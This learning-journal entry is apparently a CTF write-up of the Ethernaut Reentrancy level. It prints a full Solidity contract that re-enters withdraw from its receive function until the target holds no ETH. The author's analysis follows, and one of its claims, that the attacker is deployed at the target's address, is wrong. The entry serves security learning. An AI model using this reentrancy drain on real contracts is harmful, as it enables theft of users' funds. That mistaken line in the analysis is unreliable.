Day 19:
Further informing my reentrance Ethernaut challenge, I used the following code to complete the challenge (with the objective being to drain the contract of its ETH entirely):
pragma solidity ^0.8;
interface IReentrancy {
function donate(address) external payable;
function withdraw(uint256) external;
}
contract Hack {
IReentrancy private immutable target;
constructor(address _target) {
target = IReentrancy(_target);
}
function attack() external payable {
target.donate{value: 1e18}(address(this));
target.withdraw(1e18);
require(address(target).balance == 0, "target balance > 0");
selfdestruct(payable(msg.sender));
}
receive() external payable {
uint256 amount = min(1e18, address(target).balance);
if (amount > 0) {
target.withdraw(amount);
}
}
function min(uint256 x, uint256 y) private pure returns (uint256) {
return x <= y ? x : y;
}
}
Analysis of my solution
- 'interface' pulls from the Ethernaut contract Reentrance for ease of reference to the 'donate' and 'withdraw' functions;
- the constructor requires the deployment of the Hack contract at the same address as the target;
- the attack function calls the donate (noting that it also donates 1 ETH initially, denominated by 1e18) and then the withdraw function. when you call the function withdraw it will send some ETH to the contract and trigger the fallback function (the receive function - noting that the withdraw function is specified again creating a loop).
- 'uint256 amount = min(1e18, address(target).balance)' is the condition that ensures the target's address is drained entirely, with 'min' being the quick math specified at the bottom.
Further Analysis
I also noticed that OZ is quoted as saying the following:
Pull-payments are often considered the best practice when it comes to sending Ether, security-wise. It prevents recipients from blocking execution, and eliminates reentrancy concerns.
I thought I'd flag this statement as I intend to delve a little further into it and other external sources like Consensys Diligence's post, the DAO hack and, OZ's very own Reentrancy After Istanbul.
Stay tuned!!